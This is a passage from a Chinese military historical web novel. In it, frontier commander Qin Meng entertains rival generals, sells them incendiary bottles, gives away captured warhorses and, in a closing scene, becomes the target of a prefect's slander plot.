今年来的商队有点多,李家和罗家送来草料,煤料时,发现临时集市,次日,便纷纷派来队伍。常九得知这个消息,运来大批粮食来卖……
在铁血军寨预定的商业街上,一座座大大小小的棚子绵延,里面有桌椅,这是军寨早有准备。
商队或个体户想要租用,要缴纳一定税收。老保长王槐前天收到几个铜钱时,眼眶湿润。
这是他这么多年来头次收到税款。
以前戍堡棚子都是搭建在外面,也从来未收过税。
从昨日,一支支商队陆续抵达,把各类货物摆到条形桌上,门口立着牌,个体户或租用棚子,或直接在空地上摆摊,扯着嗓子吆喝。
就这样,开启了一个热闹的小边市。
附近村坊,甚至集镇的人流汇聚而来,集市上人头攒动,叫卖声、讨价还价声不绝于耳。
寨民、周边村民脸上带着期盼的笑容,置办年货,挑选着红纸、红糖、少量的糖果糕点和新布匹,准备给家人做件新衣裳,迎接新年。
孩子们在人群中穿梭打闹,卖狗皮膏药的唱大戏……为这肃杀的边关增添了几分难得的生气。
秦猛巡视至此,看着这番景象,刚毅的脸上也露出一丝宽慰。用不了多久,这边市会成榷场,简陋的棚子被商铺取代,只会越来越热闹。
然而,就在这片祥和的氛围中,远处雪尘飞扬。
“驾、驾……”数名骑士背插令旗,快马如离弦之箭般飞奔而来,直接冲入军寨和飞虎卫临时驻地!
不多时,赵平、周扬、严风、王魁纷纷找到秦猛。秦猛也把秦大壮、李山、常勇等人,纷纷被召集到议事厅。气氛瞬间变得凝重起来。
“诸位,”秦猛目光锐利地扫过众人,“赵起将军差人送来消息,他率领大军,已至十里外。
同行的,除了数十个幽州想赎回家人的商户居民。还有黑虎卫偏将侯永,白虎卫偏将陈雷。”
众人闻言,神色各异。赵起将军前来,自是好事。同来赎回那些厢军苦力的也能够理解
但黑虎、白虎两卫的偏将同时到来,虽然同属虎贲军,但各自主量不同,恐怕另有深意。
秦猛得知这个消息后,就有了猜测,他看了看众人,笑着说道:“我个人推断,他们是想来咱这看看,交流一下,如何连连挫败**。”
“没错。”赵平立刻附和:“以前咱们飞虎卫打胜仗,左右两卫经常来人询问情况。这回来铁血军寨,十有**,又是软磨硬泡硬要跟着来。”
突然,鲁真这个身穿铁甲的光头男,一拍脑袋:“洒家看他们醉翁之意不在酒,有所图谋。”
“说不定就是为了牲口。”鲁真说道。
与此同时,常勇也接上话:“他们来,是为了马。”
站在秦猛身后的李明低声嘟囔着:“俺觉得是秦大人打了多次胜仗,缴获肯定被人惦记着。”
三人同时将话题说到牲口和缴获上。
赵平,严风,周扬等人皆是面露诧异,因为他们也是恰好想到两位偏将来是为了战马牛羊。
“秦知寨,手下真是人才济济呀!”严风连连赞叹。
“哪里哪里。”秦猛谦虚地摆摆手,立刻岔开话题:“他们来是无事不登三宝殿,定然有所图谋。咱边寨都是粗汉子,也只有战马被人喜欢。”
“哈哈哈……”众人哄堂大笑。
秦猛压了压手,声音沉稳有力:“将军特意交代,既然来都来了,那咱们可不能失了礼数。”
“来人,把厢军俘虏带过来,洗刷干净,通知诸葛先生,准备接收钱粮,告知附寨军营设宴……”
“得令!”几个亲兵抱拳领命,转身快步离去安排。
不出半个时辰,地平线上便出现了大队人马行进卷起的雪尘。
三千飞虎卫精骑浩浩荡荡抵达军寨附近,甲胄鲜明,旗幡招展,虽经长途跋涉,军容依旧整肃。黑虎和白虎两卫约摸五百兵卒随行。
秦猛早已得报,便与赵平和严风率各军主要将领出寨三里地相迎,礼节周到,不卑不亢。
赵起将军端坐于骏马之上,依旧是最初见到的那般身姿笔挺,面容刚毅,不苟言笑d的模样。
他利落地翻身下马,领着几人走上前,为秦猛引荐:“秦猛,这位是白虎卫偏将侯永,这位是黑虎卫偏将陈雷,快来见过两位将军。”
候永是个精瘦的汉子,目光如隼,透着一股干练机敏的气息;陈雷则是那种典型的脂包肌的壮汉,膀大腰圆,站立如铁塔,自带一股压迫感。
他们身后各自跟着两三名副将,无一不是身材魁梧、身穿重甲、眼神炯炯的军中骁将。
秦猛迅速打量了来将几眼,心中已有初步判断。听到赵起的话,立刻上前一步,抱拳行礼。
“卑职秦猛,见过侯将军、陈将军!”
候永,陈雷定睛打量着秦猛,朝赵起夸赞说着“真是一员虎将”“果然不凡”之类的场面话。
秦猛可不想浪费时间,主动邀请:“诸位将军一路奔波,辛苦了!酒宴已备下,快请入大帐歇息驱寒。”
赵平,严风等人也上前见过,随后一行人马入寨。三千余虎贲军军将士入驻赵平建好的营地。<
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br>而在军队后方,更是有成群的运粮车队徐徐抵达!
——这是从幽州随军来的赎人队伍!
早在飞虎卫抵达之前,秦猛就已将冷艳山一役俘获的厢军俘虏的处置事宜,全权交给人老成精的老保长王槐,诸葛风,李恒等人负责。
那边,秦猛作为寨主,引领众人在附寨军营中军大帐内热情招待赵起、侯永、陈雷等将领。
此刻,主寨后方骑兵军营,老保长王槐和诸葛风主持的“赎俘”事宜,正有条不紊地进行。
他们迅速派人与来赎人的正主接洽,一间临时充作办事处的营房内,灯火通明。几名书吏伏案疾书,将收缴来的钱粮一一登记造册。
营房外的空地上,一批刚刚被“赎买”出来的俘虏,正与前来接他们的家人团聚,抱头痛哭。
这些俘虏虽精神萎靡,但衣物整洁,显然已被“洗刷干净”。他们大多是家中有些资财,在接到军寨传信后,纷纷筹措钱粮前来赎人。
而两百多个家境不怎么好的俘虏同样被带了过来。
李山站在台阶上,面对这些惊魂未定的俘虏和家属,声音沉稳有力:“尔等身为地方官兵,却无端袭击边军,按律本是诛九族的大罪!
幸得秦寨主仁德,念及尔等亦是受人蒙蔽,且年关将近,特许你们家人以钱粮担保赎还。”
他话音一顿,目光扫过下方一张张惶恐的脸,继续道:“但是,死罪可免,活罪难逃!
此次放你们回去,是让你们与家人团聚过年,暂得宽宥。正月底,开春前,必须全部返回军寨,服兵役三年,戍卫边疆,戴罪立功!
这三年,若是表现良好,三年期满,便免去你们所有罪责,是去是留,悉听尊便,甚至还可按军功升职,分得田亩,在边塞做买卖。
若敢逾期不归,或再生事端,定按逃兵论处,累及家人!”
这番话说得恩威并施。点明事态严峻,又给了希望。
“服役三年,分田升职”的条件,对于许多贫苦出身的厢军将士而言,甚至比回家更有吸引力。
那些之前羡慕同伴归乡的俘虏们,顿时感恩戴德。许多家属拉着孩子跪地磕头,口称:“谢秦将军不杀之恩,谢秦寨主活命之德!”
“开春一定回来,绝不敢忘恩负义!”
场面一时颇为触动。王槐和诸葛风对视一眼,微微点头。此举既为军寨带来了急需的钱粮,更为来年储备了劳动力兵源,可谓一举多得。
与此同时,诸葛风拿着刚刚整理好的钱粮册簿,向王槐低声汇报:“保长,初步清点,此次赎俘所得,有粮食三千五百余石,银钱、布帛、药材若干,均已登记在册,入库封存。”
王槐接过册簿,仔细看了看上面清晰罗列的数目,颔首道:“好,账目清楚就好。这些都是军寨日后发展的根基,一丝一毫都不能含糊。”
第233章 醉翁之意不在酒
附寨军营,中军大帐内。
此刻已被炭火盆烘得暖意融融,驱散了塞外的寒意。
长长的案几上早已备好了虽不算精致但却分量十足的宴席:大锅炖烂的马肉,大块熟肉、炙烤肥羊,肥鸡胖鸭、温好的米酒、马奶酒……
香气四溢,尽显军营特有的粗犷风格。
秦猛贵为东道主,却让顶头上司赵起将军推坐主位。
左手边依次是黑虎卫偏将侯永、白虎卫偏将陈雷及其麾下几名将领。
右手边则以赵平为首,依次是秦猛、严风、周扬、王魁、秦大壮、常勇等军寨主要将领。
帐内一时觥筹交错,赵起率先举杯,肯定了铁血军寨近期的战绩,并表达了帅司的嘉许。
侯永、陈雷等人也相继敬酒,说了些场面上的恭维,当事人秦猛也说着是众人齐心之类的套话。帐内气氛逐渐热络起来,笑声不绝于耳。
然而,在这看似和谐的氛围下,秦猛却能敏锐地察觉到侯永、陈雷等人目光中偶尔闪过的审视意味,以及他们麾下将领眼中的不服。
他此刻才明白赵将军为何特意交代要好好招待。原来虎贲军内部三支卫中有着竞争关系。
酒过三巡,菜过五味。
侯永首先按捺不住,他身材不壮硕,却声如洪钟,端着酒碗对秦猛道:“秦老弟,听闻你以寡击众,连战连捷,俘虏了不少**。更是得了不少钱粮甲仗,马匹牛羊,真是少年英雄!”
“如今你的名号在咱们虎贲军可是响当当的啊!快跟咱们说说到底是如何以寡敌众,让那契丹**吃了如此大亏的?莫非真有什么**锏不成?”
他话语看似豪爽,眼神却紧紧盯着秦猛带着探究。
“这…这…”秦猛心说果然如此,脸上恰到好处地露出为难的神色。不时看向主位上的赵将军。
而陈雷也放下筷子,看似不动声色地接话道:“是啊,秦知寨!特别是那能燃起烈焰的瓶子,端的是厉害!
帅司公文说来自铁血军寨,如今虽有一部分配发到我等卫中,但终究数量有限,若能知其诀窍,自行筹措一些,于大周边防大有益处。”
这壮汉语气平和,却点明了真正的来意之一。
秦猛心中雪亮,这两人一唱一和,无非是想套取**的制造方法,更重要的是,他们肯定猜到缴获大量战马的消息,前来碰运气捞好处。
赵将军看到秦猛的眼神,放下酒碗,咳嗽提神,看了眼侯永、陈雷等人,板着脸说道:“秦猛,有话就说,咱们同属虎贲军,不要遮遮掩掩。”
“是!”秦猛点头应声,心里头却已经了然如何作答——公之于众的可说,底牌需要暂时藏拙。
他脸上不动声色,举起酒杯,朗声笑道:“侯将军、陈将军过奖了。末将所为,不过是倚仗地利,加上将士用命,侥幸取胜罢了。”
“至于那**……”
他刻意顿了顿,见众人都望过来,才继续道:“其制法不难,却极为繁琐,关键在于火油的筛选、提纯,瓶口的密封,特殊引信制作不易。
加之此物极为危险,若处置不当,易燃易爆,未伤敌先伤己。非那种侍多年手艺人不可把控。
就算末将可将一些注意事项和初步制法抄录奉上,黑虎和白虎也需要修建厂房,挑选工匠培训,如何筛选火油,还要配套的砖窑厂,烧制特殊容器,再经过特殊调配得成,耗时耗力。”
“啊?是这样?”侯永和陈雷有点呆愣,脱口问道:“这…这小小的**得来竟然如此不易?”
“那可不?**威力大不假,是要经过繁琐步骤才能得到,否则随便罐装火油,那成不了。”秦猛眼神真诚坦荡,一本正经地胡说。
“制作方法给了,五年八年之内也难以批量生产。将军们若感兴趣,送来猛火油,绢布等材料,我这帮忙代加工,直接交付给你们成品即可。”
秦猛悄然间话锋转变,开始推销自家**。如同界河边卖水,自卖自夸,说着各种优点。
“现在**经过多次改良,威力更大,储存时间更长。密封性强,一个月之内,威力不会失效。专门设计安全木箱,方便运送交接。”
“只要拥有足够的**,咱们防线固若金汤。”这一刻,秦猛如同个商人,话语中夹杂着蛊惑。
侯永、陈雷等人神色意动不已,因为帅司调拨少量**,各戍堡陆续投入使用,效果非常强。**声中,一烧一大片,克制**骑兵。
“秦老弟,不知这价格几何?”侯永踌躇着问道。
陈雷也点头附和:“对,帅司说这造价不菲。帅司粮储监公文上传一两银钱的材料能得十瓶。”
十瓶?秦猛眼皮子一跳,他说的不是二十瓶吗?
这时,主位上的赵起开口,解开了他心中疑惑:“不错,最近猛火油的价格有上涨的趋势。”
秦猛听出言外之意,应该也是跟他一样少报了一些。帅司那群采买也克扣一点,数额减半。
秦猛心中有数,犹豫
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片刻后,无奈地叹气道:“两位将军,大伙都是为了戍边,明人不说暗话。
只要两卫送来火油,绢布等材料,工钱就算了,只需要运送些口粮来,数量不打折扣。你们可以直接来我这儿,也可从飞虎大营那调度。”
“啊?真的?”侯永、陈雷听到这番话,略显错愕。他们本以为别人帮忙制作,会收取好处费,怎么着也得抽个一两瓶,却没想到足额供给。
“那是自然!”秦猛脸色变得肃然,大义凛然地说道:“咱们同属虎贲军,打断骨头还连着筋。又是防范**,末将分得清楚轻重缓急。”
“至于虎贲军以外的军队,需要**自然得要抽走一两成。也希望两位老哥,帮忙宣传呐!”
“哈哈哈,那个好说,那就多谢秦老弟了。”侯永和陈雷听得心中略感惭愧,却大笑不止:“秦知寨果然仗义,你这个兄弟俺老陈认了。”
说完,两人连忙举起酒碗来敬秦猛。
秦猛也说着客套话,心里却是感慨,怪不得后世西方资本个个肥得流油,原来掌握着配方这个技术源头,稍微忽悠一下,就能大赚特赚。
**经过火器坊多次改良,添加硫磺和松脂等物,威力不仅更强,所需的火油数量更少。以前制造一瓶的量,如今制造三瓶绰绰有余。
“另外两位将军,**使用战术也逐渐摸索出来。不仅防守,更可以进攻,我给大家讲讲……”
秦猛索性好人做到底,把铁血军寨多次作战使用**的经验,摸索出来的战法在席间说来。
反正**不是什么秘密,这种战术适合全军推广。对虎贲军乃至整个幽州边防都至关重要。
同时,秦猛没有一味的揽功劳,而是把赵平、周扬、王魁、秦大壮等人推出来,说说经历。
对于如何利用地形、布置陷阱、步兵协同作战等常规战术,骑兵又是如何使用**作战。
在众人推杯换盏之间,知无不言,言无不尽,说得精彩纷呈,引得帐内将领们连连点头,或一起讨论改进,哈哈大笑,气氛看似十分融洽。
侯永和陈雷其实还想说马匹的事,不过看到此行大有收获,交换了一个眼神,知道急切间难以得手,也只好暂时按下心思,等以后再说。
宴会持续了近大半个时辰方散。
黑虎、白虎两卫的将领们被引去飞虎驻地休息。
常勇、鲁真等将也各归本部。帐内,只剩下赵起、秦猛、赵平、严风、周扬、秦大壮这几人。
第234章 献马,以退为进
大帐内,只剩下飞虎卫众人,气氛又截然不同。
不等秦猛主动开口汇报,赵起便意味深长地看着他,脸上露出一丝笑意:“行了,闲杂人等都退下了。
秦猛,你小子这次在边塞折腾出的动静可不小,光是交换俘虏这一项,想必就收获颇丰吧?”
秦猛连忙拱手,故作谦逊道:“将军明鉴,一切都是托将军的洪福。末将也只是小打小闹,略有收获,勉强填补一下军寨的亏空罢了。”
奈何,这做什么事都怕出内鬼!
一旁的赵平早已按捺不住内心的激动,咧开大嘴笑道:“将军!您可别听他在这儿谦虚。
咱们这次可是发了一笔大财!不算几场战役缴获,光是交换俘虏,就从契丹人手里换回了足足六千匹战马、一千头耕牛,还有上万只肥羊!”
“多少?”纵然是见惯大风大浪的赵起,瞳孔也是猛地一缩,脸上首次露出难以掩饰的动容之色。
他虽然批准了秦猛用俘虏交换物资的请求,但以为是正常换俘,绝未料到数量竟是如此巨大!
算上几次的缴获,过万匹的战马。
这简直是一笔从天而降的横财,足以让飞虎卫,乃至整个幽州边军的实力迈上一个新台阶!
周扬见赵起好奇,上前一步,言简意赅地将交换的细节和艰难的谈判过程如实禀报了一遍。
“哈哈哈!好!好!好!”赵起听完,终于忍不住放声大笑,用力拍着秦猛结实的肩膀:“秦猛,你这小子,真**是个福将,天大的福将!”
“可不是嘛!”赵平因参与,与有荣焉地高声附和,“这才短短一两个月,咱们打了多场胜仗,到手的马匹,比往年一整年加起来都要多!”
秦猛见时机已然成熟,脸上那点故作姿态的谦逊瞬间收敛,正色道:“将军,这批牲口数量实在巨大,末将这小小的军寨难以长期供养。”
每日消耗的草料便是一个惊人数字,已成沉重负担。
因此,末将思虑再三,愿做如下安排:首先,从这批战马中拿出一千匹马,一千只肥羊,已经按俘虏数量,平分给亲卫营,磐石营。
其次,剩下的五千匹战马和九千只羊,末将愿献出三千匹上好的战马和五千只羊,送入飞虎卫大营,至于如何分配,全凭将军做主!”
此言一出,帐内顿时陷入一片短暂的寂静。秦大壮目瞪口呆,憨厚的脸上和眼中满是不解。
赵平、周扬,严风都略带惊讶地看向秦猛。
三千匹优质战马外加五千只羊!
这绝非小数目,有钱也买不到,放在任何地方都是足以让人眼红心跳、引发争抢的巨大财富。
秦猛竟然如此干脆利落地就献了出来?
秦猛不等赵起开口,又掰着手指头,故意摆出一副精打细算、生怕吃亏的“地主老财”模样,继续说道:“将军,您可千万别觉得末将大方。”
实在是迫不得已。
一来,我这军寨小门小户,草料库都快见底了,这么多张嘴实在养不起,还得劳烦将军您赶紧派人来拉走,替我分担压力。
二来,帅司那边,还有幽州城里的各路神仙,肯定都盯着这块肥肉呢。末将人微言轻,位卑言拙,可不想、也没那个本事去搅和那潭浑水。
这应付各方打点、平衡关系的棘手事儿,还得仰仗将军您的威望,随便拿出几百匹马,几百只肥羊,打发了便是,末将感激不尽。”
他顿了顿,声音压低了些,带着几分谨慎:“还有,今日随您前来的侯将军、陈将军都是军中老鸟,眼光毒辣,经验丰富,可不好糊弄。”
末将估摸着,明日他们必定会在军寨内外四处查看,那么大群的牛羊马匹肯定瞒不过他们的眼睛,少不得要拿这个说事儿,说要购买。”
“这是必然的。”赵平接过话茬,却又摇头苦笑,语气中带着几分无奈:“虎贲军一向缺马,咱们飞虎卫还好些,但仍有三分之一的将士是步兵。”
其他两卫的情况更糟,至少六成,甚至更多的人没有战马可用。”
赵起的脸色也变得严肃起来:“秦猛,你此次缴获的战马众多,若是难以供养,可以按照市场价格,适当支援一下侯、陈二位将军一批。”
“这个道理,末将明白。”秦猛没有丝毫迟疑,立刻回应,“侯将军、陈将军远道来援,若一点好处不给,于面子上过不去,难免让人心生芥蒂。
即便他们明面上不便发作,背后若有些不痛快,甚至使点小绊子,也够我铁血军寨受的。”
他看了看回过神来,满脸肉痛的秦大壮笑道:“秦副将,一个篱笆三个桩,一个好汉三个帮。个人勇武,单打独斗,终究难成大事。
因此,我打算等他们开口,便‘卖’给他们一批战马,价格可以略低于市价,算是个人情。”
“甚好!”赵起打量秦猛片刻后,吐出两个字。这一手以退为进,既表了忠心,又顺带把麻烦推了出去,还能搞好上下关系,一举多得。
秦猛脸上又浮现苦笑:“如此一来,怕是又得去掉近千匹战马。此次战利品,七算八算下来,最后能剩下的战马,其实也太多了喽!用来组建一支新的骑兵,倒也……勉强够用。”
“勉强够用?”赵起的脸皮抽搐了一下,盯着秦猛看了半晌,很想说一句,你军寨至少三千匹马。
忽然,他像是想明白了什么,指着秦猛笑
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了起来,语气带着几分了然和揶揄:“好你个秦猛……这小心思,这想法不错,都要小心。”
秦猛脸上那故意装出的市侩神色瞬间消失得无影无踪,取而代之的是一种冰冷的沉静。
“将军放心,草原又不是龙潭虎穴。但欲御外侮,必先安内;欲抗强敌,需有坚实的袍泽并肩。树欲静而风不止,我不想被人扯后腿……”
“打住!先让本将把话说完。”赵起见秦猛有要打开话匣子、深入剖析边陲局势的趋势。
他立刻抬手制止,沉声道,“我此次率军前来,除了增援你部,驻扎拒马河畔,提防**冬季可能发动的进攻之外,另有三件要事。”
“将军请讲。”秦猛收住话头,略显尴尬地笑了笑。
赵起伸出两根手指:“其一,你在这铁血军寨推行的那套练兵方法,效果卓著,有目共睹。”
本将打算,从飞虎卫中抽调一批有潜力的基层军官,送入你的铁血军寨进行轮训,你务必给本将好好操练他们,直至他们脱胎换骨,合格归队。
同时,你也需从麾下抽调一批经验丰富的老兵,入驻两处营地,协助飞虎卫进行冬季大练兵。此事关乎我军整体战力提升,至关重要。”
“啊?这…将军,此举是否有些不妥?”
秦猛听了,顿时瞠目结舌,连连摆手推辞,“末将这铁血军寨只是个新建的营制,资历浅薄,让末将去训练飞虎卫的老牌骄兵悍将?”
那些资历深厚的将领们怕是不会服气,难免会有非议。”
“他们敢?”赵平和周扬几乎异口同声地嗤笑道,语气中充满了对秦猛的认可和对其异议者的不屑。
“你看,赵平和周扬这两位老资历都不反对。”赵起笑了笑,语气笃定,“秦猛,不必过谦。”
你自赴任以来,连战连捷,累计杀敌近万,早已名声大噪,军中都传你是‘幽州边军猛虎’。
由你来调教一批军官,各营将领只会求之不得,岂会不服?”
“那…那好吧!”秦猛犹豫片刻,似乎是硬着头皮答应下来,但随即又提出条件,“不过,丑话说在前头,末将定当尽力,若是冬训过后,效果未能达到将军预期,将军可别怪罪末将。”
另外,末将的这种练兵方法,对士卒体力消耗极大,若无充足的肉食供应,效果会大打折扣。”
“肉食?”赵起哈哈一笑,意味深长地看了秦猛一眼,“你刚才不是刚送了五千只肥羊过来吗?”
“这肉食,难道还不够?”
赵起此言一出,赵平、周扬,以及帐内的严风、秦大壮等人先是一愣,随即都会意地笑了起来。
帐内气氛顿时轻松了不少。
第235章 赵起告诫,密议除奸
赵起脸上那难得一见的笑容迅速沉底,帐内的气氛也随之重新凝结,甚至比之前更加沉重。
他目光如炬,扫过帐内诸将,最终牢牢锁在秦猛身上:“这第二件事,关乎你秦猛的前程。
你此次力战有功,帅司的嘉奖,你是否觉得太轻,与杀敌数千、击溃**的功劳不相匹配?”
“末将不敢,帅司赏罚,自有道理。”秦猛抱拳,回答得干脆利落,脸上看不出半分不满。
“哼,滑头!”赵起冷哼一声,毫不客气地戳穿,“你这点心思,瞒得过谁?当年本将也经历过。
你立的是实打实的战功,按制,擢升统领或偏将,秩及五品,亦不为过。但你要清楚,到了这个级别,需得朝廷正式任命,非帅司可独断。
吴大帅的荐举奏章,已经以八百里加急送往京城。朝廷赏罚分明,很可能追加‘团练使’的阶官。”
“什么?团练使?”一旁的赵平和周扬几乎同时低呼出声,脸上写满了惊讶与难以掩饰的羡慕。
“咋的,很牛吗?”秦猛不懂就问。
周扬忍不住插话:“秦兄弟,这‘团练使’意义重大。”
秦猛眉头微动,他于这大周官制的细微之处,确实不甚了了,只道:“还请周大哥指点。”
赵平接过话头,语气带着几分感慨解释道:“我大周官制,品阶与差遣分离。你现在的知寨官,是从七品,乃是你自身官阶,但微末不入流。
飞虎卫正将,是你在虎贲军中的职事,一旦离了幽州,便不作数。
而将军方才所说的追封‘团练使’,乃是从五品的‘本阶官’!这是朝廷对你个人品级的认定,是烙在你身上的印记,纵使你日后调任他处,这从五品的身份也不会变,到哪里都认!”
秦猛目光一闪,立刻明白其中的关键。这‘团练使’,就好比有了一个全国通用的硬通货身份,不再是局限于边军体系内的“地方粮票”。
他微微颔首:“原来如此,多谢解惑。”
“现在知道分量了?”赵起看着秦猛,语气严肃起来,“但这并非易事。得先推荐,走流程。需朝廷各部讨论,圣上批准,方能颁布圣旨。
虎贲军可推荐升你为偏将,可这名额却有限,各边军争抢激烈。因此,才有了开春后的全军大比!”
他身体微微前倾,带来更强的压迫感:“我要你,趁着冬季,以战代练,将新营给我狠狠操练出来!大比之时,你所属营必须挤进前十。
唯有如此,本将才有底气,在帅司为你力争,堵住那些悠悠众口!朝廷下令,擢升你为偏将。”
“前十?”秦猛感受到赵起话语中的重量,但仍需确认难度,“我飞虎卫精锐辈出,以往成绩如何?”
这次是周扬沉声回答,语气带着一丝凝重:“秦兄弟,切莫小觑这边军大比。届时,除了咱虎贲军,另有镇北、龙骧、熊罴、鹰扬。
北疆五柱石百来个营,精锐尽出,说是群雄逐鹿也不为过。飞虎卫近年来最好的成绩,也不过是杀入前三。我与赵平兄,当年也是在大比中侥幸露了锋芒,才被将军青眼相加。”
秦猛深吸一口气,心中凛然。他原本以为只是虎贲军内部较量,没想到竟是整个北疆边军的擂台。
这不仅是个人前程的搏杀,更是各军实力、颜面的角逐。大周边军底蕴犹存,而自己要面对的草原敌人,恐怕也比想象的更加强大。
他收敛心神,抱拳肃然道:“末将明白了!请将军放心,冬季,正是大练兵之时,末将必不负重托,在大比中为虎贲军夺下一个好名次!”
“好!要的就是你这股锐气!”赵起低喝一声,随即竖起了第三根手指,语气也变得前所未有的冷峻,“最后一事,关乎生死,你听仔细了!”
“为增强你部战力,以应对明年开春必然到来的大战,帅司已决议:将袁飞和徐强两位部将,及其麾下三百百战老兵,全数划归你麾下!”
帐内瞬间一静,连赵平等人都露出了惊讶的神色。
袁飞、徐强都是军中有名的悍将,其部下更是经验丰富的老兵,这股力量强大,但也敏感。
赵起紧紧盯着秦猛的眼睛,仿佛要看清他内心的每一个波动:“这三百精锐,是给你新营搭起骨架的梁柱!
你要在最短时间内,以他们为骨干,吸纳新兵,练出一支能打硬仗、敢打恶仗的铁军。
情报显示,契丹人今年冬季损失惨重,萧铁鹰部更是颜面扫地,明年夏末秋收时,他们必定会倾力来犯,规模将远超此次!幽州能否守住,你秦猛这儿的第一道防线,至关重要!”
秦猛心脏猛地一跳。三百精锐老兵,这是天大的助力,能极大缩短新营形成战斗力的时间。
但这也是一把双刃剑。
袁飞、徐强并非自己的嫡系,骤然纳入麾下,指挥能否如意?不排除某些人安**来的棋子!
瞬息之间,无数念头在他脑中闪过。但他脸上却看不出丝毫犹豫,几乎是本能地踏前一步。
秦猛的声音斩钉截铁:“末将谢帅司、谢将军信任!必竭尽全力,明年定让**有来无回!”
他心中已有计较:非常之时,行非常之事。掌控力的风险确实存在,但只要自身实力不断增强,手段得当,未尝不能将这些力量逐步消化吸收。
当前最要紧的,是时间紧迫,得抓住一切机会壮大自己及军寨实力,应对迫在眉睫的战争。
然而,外患虽急,内忧更毒。
秦猛话锋陡然一转,声音压得极低,带着一股
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冰碴般的寒意,主动将话题引向了更危险的深渊。
“将军,朝廷、帅司封赏、兵马调配,皆是公事。末将这里,尚有一件私仇,亦关乎大局的祸事。”
他眼中闪过一丝厉色:“前次末将接连**,几近丧命。现已查明,乃是幽州境内有人,向**泄露情报,与那契丹萧铁鹰部勾结所为!”
从擒获的萧铁鹰亲兵副统领巴蒂尔口中得知,末将的画像早已传遍契丹各部,悬赏之高,令人咋舌。如今,连阿猫阿狗都能认出我秦猛了!”
“将军,这帮藏在我幽州内部的蛀虫,已非寻常敌对,他们是叛国!
通敌**,罪证确凿,其心可诛!”秦猛的声音带着压抑不住的杀意,“他们在暗,我们在明。他们可以失败无数次,我们只要失手一次,便是万劫不复。
末将前日方才成家,还想留着这颗头颅,多杀几个**,不想哪天被刺杀,死得不明不白,连累妻儿。
所以,为了大局安稳,也为了末将自家性命,只能先下手为强,请他们……先走一步了!”
他没有说出具体的行动,但右手掌做了一个抹脖子的动作。帐内的温度,仿佛随着骤降了几分。
赵起的脸色瞬间阴沉如水,目光锐利如鹰,紧紧盯着秦猛,帐内只剩下帐外寒风呼啸声。沉默持续了足有数十息,压抑得让人喘不过气。
最终,赵起才缓缓开口,每个字都像是从牙缝里挤出来的:“你**一事,赵平已有密报。
你心中所思所想,所欲所为,本将大致清楚。幽州内部不清,确是心腹大患。原则上……本将不拦你。”
他话锋陡然一转,语气变得极其严厉,带着不容置疑的警告:“但是,秦猛,你给我听好了!
如今大敌当前,草原之上,**大军磨刀霍霍,幽州乃至整个北疆的安危系于一线。
肃清内奸,势在必行,但切记分寸!绝不可在后方引起大的动荡,导致人心惶惶,我军粮饷辎重供应受阻!
若是因此动摇了前线军心,让契丹人有机可乘,这个责任,你我都担待不起!行事之前,需谋定而后动,要快、要准、更要稳!”
“将军放心!”秦猛脸上露出一抹冰冷的笑容:“对付这些数典忘祖的蛀虫,末将自有手段。保证能做得干干净净,如同这北风扫雪,了无痕迹。
不仅不会惊扰后方,说不定……还能借此机会,给那萧铁鹰,再送上一份意想不到的‘大礼’,让他再次尝尝这找了个猪队友的滋味!”
帐外,北风愈发凄厉,卷着雪沫疯狂拍打着军帐,发出啪啪的声响,仿佛有无数恶鬼在试图闯入。
然而,这天地间的肃杀风雪,此刻竟也压不住帐内那盈沸欲出、即将席卷一切的凛冽杀机!
第236章 寒夜毒谋
朔风卷雪,夜已深沉。
幽州刺史崔府,书房却依旧灯火通明,烛火摇曳间,映得满室人影幢幢,气氛压抑如凝冰。
“废物!一群废物!”
崔文远猛地将手中茶盏掼在案上,青瓷碎裂之声刺破寂,滚烫的茶水溅湿了铺展的宣纸,墨迹晕染开来,恰似他此刻狰狞扭曲的面容。
“萧铁鹰那蠢货,拔城之鹰?呸!不仅被秦猛击溃,竟还在交换俘虏时,拱手送出去六千匹好马、过万头牲口!那可是能养出数千精锐骑兵的家底,就这么白白喂肥了秦猛这竖子!”
他背着手在书房内疾步走动,锦袍下摆扫过地面,带起细碎的风声,每一步都像是踩在怒火之上。
自打得知秦猛凭此战缴获甚多时,他便如鲠在喉,又得知**用马匹牛羊换俘虏这个噩耗,更是恨不能立刻将那笔横财与秦猛一同撕碎。
书桌前,一个身材瘦削的黑衣汉子垂首而立,右手缠着厚厚的的纱布,正是此前潜伏在萧铁鹰身边、在战场与秦猛交手的那个瘦削护卫。
他是崔家暗中耗费数十年心血培养的利刃,平日里或潜伏打探,或执行暗杀,从无失手。
唯独此次刺杀秦猛、联络契丹的任务,不仅没能得手,还折损了不少同伴,连自己也险些丧命。
“主子息怒。”黑衣死侍声音低沉,不带半分情绪,“萧酋帅虽败一阵,但却未伤及根基。
他说过,明年草原水草丰美之时,必倾巢而来,报复之怒只会比此次更甚数倍。秦猛区区一个边寨,纵使得了些马匹牲口,也成不了气候。如何挡得住**有备而来的雷霆一击。”
“但愿如此。”崔文远深吸一口气,胸口的起伏渐渐平缓,可眼底的阴鸷却丝毫未减,
“这**终究是外人,野性难驯,做事靠不住。秦猛此子一日不除,我心一日难安,咱们必须亲自出手。”
“叔叔,侄儿说句实在话,”
突然,靠窗的椅子上,一个身着锦服、模样吊儿郎当的青年懒洋洋开口。正是崔文远从京城来边塞任职转运副使,镀金的亲侄儿崔胜。
他把玩着手中玉佩,语气满是不屑,“一个从七品的小小知寨,值得您这般劳心费神?多派几个死士,趁夜摸进他军寨,一刀结果了便是。”
“你懂什么?”崔文远瞪了他一眼,语气凝重,“秦猛绝非池中之物,之次暗杀,咱们折了多个好手?
非但没除掉他,反而让他愈发警惕,如今身边护卫层层。若再轻举妄动,只会打草惊蛇。”
崔胜被训得撇了撇嘴,眼珠一转,忽然露出狡黠的笑容,凑上前来:“既然硬的不行,咱们就来软的。
他得了六千匹好马,这既是一笔财富,又是块烫手山芋!帅司那边本就对各军粮草军备盯得紧。
咱们不如把这消息捅出去,再添油加醋,说秦猛私吞缴获、意图不轨。到时候帅司必然下令让他交出马匹,他交也得交,不交也得交,咱们得不到,也绝不让他得了这许多战马。”
“好,好主意!”崔文远眼前一亮,拍案叫好。
崔胜见状,眼珠子转来转去,阴恻恻地说道:“除此之外,咱们还能联络军中与我交好的将领,让他们散播流言,说秦猛打了几场胜仗,恃功而骄、目中无人,不把边军将领放在眼中。
只要散播点消息,便能搅乱边军内部,让那些丘八对秦猛心生不满,然后找过去。咱们不用出手,便能坐山观虎斗,等着他们狗咬狗!”
“对对对!”崔文远脸上浮现一抹笑容。
